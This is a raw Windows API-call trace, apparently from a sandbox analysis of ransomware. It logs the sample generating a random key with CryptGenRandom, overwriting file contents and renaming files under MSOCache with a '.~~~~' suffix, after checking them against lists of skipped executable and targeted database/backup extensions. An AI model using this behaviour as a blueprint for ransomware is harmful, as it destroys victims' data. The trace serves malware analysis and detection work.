	[0075.332] lstrlenW (lpString=".bdb") returned 4
	[0075.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".bdb") returned 0x0
	[0075.332] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0075.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0075.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7100
	[0075.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0075.333] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0075.333] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0075.334] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0075.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0075.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0075.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f1268
	[0075.334] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19532384330) returned 1
	[0075.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x96d8ba90, dwHighDateTime=0x1d60e1e)) 
	[0075.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0075.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0075.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0075.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e3b0
	[0075.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0075.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e3b0 | out: hHeap=0x300000) returned 1
	[0075.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0075.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0075.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6880
	[0075.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0075.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0075.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6880 | out: hHeap=0x300000) returned 1
	[0075.334] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0075.335] GetLastError () returned 0x0
	[0075.335] SetLastError (dwErrCode=0x0) 
	[0075.335] GetLastError () returned 0x0
	[0075.335] SetLastError (dwErrCode=0x0) 
	[0075.335] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0075.335] GetLastError () returned 0x0
	[0075.335] SetLastError (dwErrCode=0x0) 
	[0075.335] GetLastError () returned 0x0
	[0075.335] SetLastError (dwErrCode=0x0) 
	[0075.335] GetLastError () returned 0x0
	[0075.335] SetLastError (dwErrCode=0x0) 
	[0075.335] GetLastError () returned 0x0
	[0075.335] SetLastError (dwErrCode=0x0) 
	[0075.335] GetLastError () returned 0x0
	[0075.335] SetLastError (dwErrCode=0x0) 
	[0075.336] GetLastError () returned 0x0
	[0075.336] SetLastError (dwErrCode=0x0) 
	[0075.336] GetLastError () returned 0x0
	[0075.336] SetLastError (dwErrCode=0x0) 
	[0075.336] GetLastError () returned 0x0
	[0075.336] SetLastError (dwErrCode=0x0) 
	[0075.336] GetLastError () returned 0x0
	[0075.336] SetLastError (dwErrCode=0x0) 
	[0075.336] GetLastError () returned 0x0
	[0075.336] SetLastError (dwErrCode=0x0) 
	[0075.336] GetLastError () returned 0x0
	[0075.336] SetLastError (dwErrCode=0x0) 
	[0075.336] GetLastError () returned 0x0
	[0075.336] SetLastError (dwErrCode=0x0) 
	[0075.336] GetLastError () returned 0x0
	[0075.336] SetLastError (dwErrCode=0x0) 
	[0075.336] GetLastError () returned 0x0
	[0075.336] SetLastError (dwErrCode=0x0) 
	[0075.336] GetLastError () returned 0x0
	[0075.336] SetLastError (dwErrCode=0x0) 
	[0075.336] GetLastError () returned 0x0
	[0075.336] SetLastError (dwErrCode=0x0) 
	[0075.337] GetLastError () returned 0x0
	[0075.337] SetLastError (dwErrCode=0x0) 
	[0075.337] GetLastError () returned 0x0
	[0075.337] SetLastError (dwErrCode=0x0) 
	[0075.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0075.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x2824fd8
	[0075.337] ReadFile (in: hFile=0x12c, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0075.404] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0075.404] WriteFile (in: hFile=0x12c, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0075.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0075.404] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.405] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0075.406] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0075.407] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0075.407] CloseHandle (hObject=0x12c) returned 1
	[0075.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0075.652] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.~~~~")) returned 1
	[0075.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4100 | out: hHeap=0x300000) returned 1
	[0075.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0075.652] GetLastError () returned 0x0
	[0075.653] SetLastError (dwErrCode=0x0) 
	[0075.653] GetLastError () returned 0x0
	[0075.653] SetLastError (dwErrCode=0x0) 
	[0075.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623e0 | out: hHeap=0x300000) returned 1
	[0075.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362400 | out: hHeap=0x300000) returned 1
	[0075.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368bb0 | out: hHeap=0x300000) returned 1
	[0075.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f1268 | out: hHeap=0x300000) returned 1
	[0075.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7100 | out: hHeap=0x300000) returned 1
	[0075.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7648 | out: hHeap=0x300000) returned 1
	[0075.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e73a8 | out: hHeap=0x300000) returned 1
	[0075.653] RtlWakeConditionVariable () returned 0x365f70
	[0075.653] GetCurrentThreadId () returned 0x3a4
	[0075.653] GetCurrentThreadId () returned 0x3a4
	[0075.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e73a8
	[0075.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e76f0 | out: hHeap=0x300000) returned 1
	[0075.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa580 | out: hHeap=0x300000) returned 1
	[0075.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e76f0
	[0075.653] lstrlenW (lpString=".scr") returned 4
	[0075.653] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".scr") returned 0x0
	[0075.653] lstrlenW (lpString=".cmd") returned 4
	[0075.653] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".cmd") returned 0x0
	[0075.653] lstrlenW (lpString=".dll") returned 4
	[0075.653] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".dll") returned 0x0
	[0075.653] lstrlenW (lpString=".bat") returned 4
	[0075.653] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".bat") returned 0x0
	[0075.653] lstrlenW (lpString=".cpl") returned 4
	[0075.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".cpl") returned 0x0
	[0075.654] lstrlenW (lpString=".sys") returned 4
	[0075.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".sys") returned 0x0
	[0075.654] lstrlenW (lpString=".msc") returned 4
	[0075.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".msc") returned 0x0
	[0075.654] lstrlenW (lpString=".com") returned 4
	[0075.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".com") returned 0x0
	[0075.654] lstrlenW (lpString=".lnk") returned 4
	[0075.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".lnk") returned 0x0
	[0075.654] lstrlenW (lpString=".msp") returned 4
	[0075.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".msp") returned 0x0
	[0075.654] lstrlenW (lpString=".pif") returned 4
	[0075.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".pif") returned 0x0
	[0075.654] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0075.654] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0075.654] lstrlenW (lpString=".sqb") returned 4
	[0075.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".sqb") returned 0x0
	[0075.654] lstrlenW (lpString=".ost") returned 4
	[0075.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".ost") returned 0x0
	[0075.654] lstrlenW (lpString=".txt") returned 4
	[0075.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".txt") returned 0x0
	[0075.654] lstrlenW (lpString=".mdt") returned 4
	[0075.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".mdt") returned 0x0
	[0075.654] lstrlenW (lpString=".BDB") returned 4
	[0075.654] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".BDB") returned 0x0
	[0075.655] lstrlenW (lpString=".eql") returned 4
	[0075.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".eql") returned 0x0
	[0075.655] lstrlenW (lpString=".DBF") returned 4
	[0075.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".DBF") returned 0x0
	[0075.655] lstrlenW (lpString=".EQL") returned 4
	[0075.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".EQL") returned 0x0
	[0075.655] lstrlenW (lpString=".FDB") returned 4
	[0075.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".FDB") returned 0x0
	[0075.655] lstrlenW (lpString=".EDB") returned 4
	[0075.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".EDB") returned 0x0
	[0075.655] lstrlenW (lpString=".DACPAC") returned 7
	[0075.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".DACPAC") returned 0x0
	[0075.655] lstrlenW (lpString=".VHD") returned 4
	[0075.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".VHD") returned 0x0
	[0075.655] lstrlenW (lpString=".DBV") returned 4
	[0075.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".DBV") returned 0x0
	[0075.655] lstrlenW (lpString=".dacpac") returned 7
	[0075.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".dacpac") returned 0x0
	[0075.655] lstrlenW (lpString=".sdf") returned 4
	[0075.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".sdf") returned 0x0
	[0075.655] lstrlenW (lpString=".accdb") returned 6
	[0075.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".accdb") returned 0x0
	[0075.655] lstrlenW (lpString=".DBX") returned 4
	[0075.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".DBX") returned 0x0
	[0075.655] lstrlenW (lpString=".MDT") returned 4
	[0075.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".MDT") returned 0x0
	[0075.655] lstrlenW (lpString=".SQB") returned 4
	[0075.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".SQB") returned 0x0
	[0075.655] lstrlenW (lpString=".vhd") returned 4
	[0075.655] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".vhd") returned 0x0
	[0075.655] lstrlenW (lpString=".bac") returned 4
	[0075.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".bac") returned 0x0
	[0075.656] lstrlenW (lpString=".mdf") returned 4
	[0075.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".mdf") returned 0x0
	[0075.656] lstrlenW (lpString=".BAK") returned 4
	[0075.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".BAK") returned 0x0
	[0075.656] lstrlenW (lpString=".BAC") returned 4
	[0075.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".BAC") returned 0x0
	[0075.656] lstrlenW (lpString=".dbs") returned 4
	[0075.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".dbs") returned 0x0
	[0075.656] lstrlenW (lpString=".vhdx") returned 5
	[0075.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".vhdx") returned 0x0
	[0075.656] lstrlenW (lpString=".NDF") returned 4
	[0075.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".NDF") returned 0x0
	[0075.656] lstrlenW (lpString=".dat") returned 4
	[0075.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".dat") returned 0x0
	[0075.656] lstrlenW (lpString=".DBS") returned 4
	[0075.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".DBS") returned 0x0
	[0075.656] lstrlenW (lpString=".CKP") returned 4
	[0075.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".CKP") returned 0x0
	[0075.656] lstrlenW (lpString=".edb") returned 4
	[0075.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".edb") returned 0x0
	[0075.656] lstrlenW (lpString=".PST") returned 4
	[0075.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".PST") returned 0x0
	[0075.656] lstrlenW (lpString=".dbf") returned 4
	[0075.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".dbf") returned 0x0
	[0075.656] lstrlenW (lpString=".SQL") returned 4
	[0075.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".SQL") returned 0x0
	[0075.656] lstrlenW (lpString=".pst") returned 4
	[0075.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".pst") returned 0x0
	[0075.656] lstrlenW (lpString=".dbv") returned 4
	[0075.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".dbv") returned 0x0
	[0075.656] lstrlenW (lpString=".SDF") returned 4
	[0075.656] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".SDF") returned 0x0
	[0075.656] lstrlenW (lpString=".dtxs") returned 5
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".dtxs") returned 0x0
	[0075.657] lstrlenW (lpString=".db3") returned 4
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".db3") returned 0x0
	[0075.657] lstrlenW (lpString=".OST") returned 4
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".OST") returned 0x0
	[0075.657] lstrlenW (lpString=".dbx") returned 4
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".dbx") returned 0x0
	[0075.657] lstrlenW (lpString=".DB3") returned 4
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".DB3") returned 0x0
	[0075.657] lstrlenW (lpString=".DAT") returned 4
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".DAT") returned 0x0
	[0075.657] lstrlenW (lpString=".VHDX") returned 5
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".VHDX") returned 0x0
	[0075.657] lstrlenW (lpString=".ndf") returned 4
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".ndf") returned 0x0
	[0075.657] lstrlenW (lpString=".DB") returned 3
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".DB") returned 0x0
	[0075.657] lstrlenW (lpString=".sql") returned 4
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".sql") returned 0x0
	[0075.657] lstrlenW (lpString=".MYD") returned 4
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".MYD") returned 0x0
	[0075.657] lstrlenW (lpString=".DBT") returned 4
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".DBT") returned 0x0
	[0075.657] lstrlenW (lpString=".ACCDB") returned 6
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".ACCDB") returned 0x0
	[0075.657] lstrlenW (lpString=".fdb") returned 4
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".fdb") returned 0x0
	[0075.657] lstrlenW (lpString=".bak") returned 4
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".bak") returned 0x0
	[0075.657] lstrlenW (lpString=".myd") returned 4
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".myd") returned 0x0
	[0075.657] lstrlenW (lpString=".DTXS") returned 5
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".DTXS") returned 0x0
	[0075.657] lstrlenW (lpString=".ckp") returned 4
	[0075.657] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".ckp") returned 0x0
	[0075.657] lstrlenW (lpString=".dbt") returned 4
	[0075.658] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".dbt") returned 0x0
	[0075.658] lstrlenW (lpString=".db") returned 3
	[0075.658] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".db") returned 0x0
	[0075.658] lstrlenW (lpString=".TXT") returned 4
	[0075.658] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".TXT") returned 0x0
	[0075.658] lstrlenW (lpString=".MDF") returned 4
	[0075.658] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".MDF") returned 0x0
	[0075.658] lstrlenW (lpString=".bdb") returned 4
	[0075.658] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpSrch=".bdb") returned 0x0
	[0075.658] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
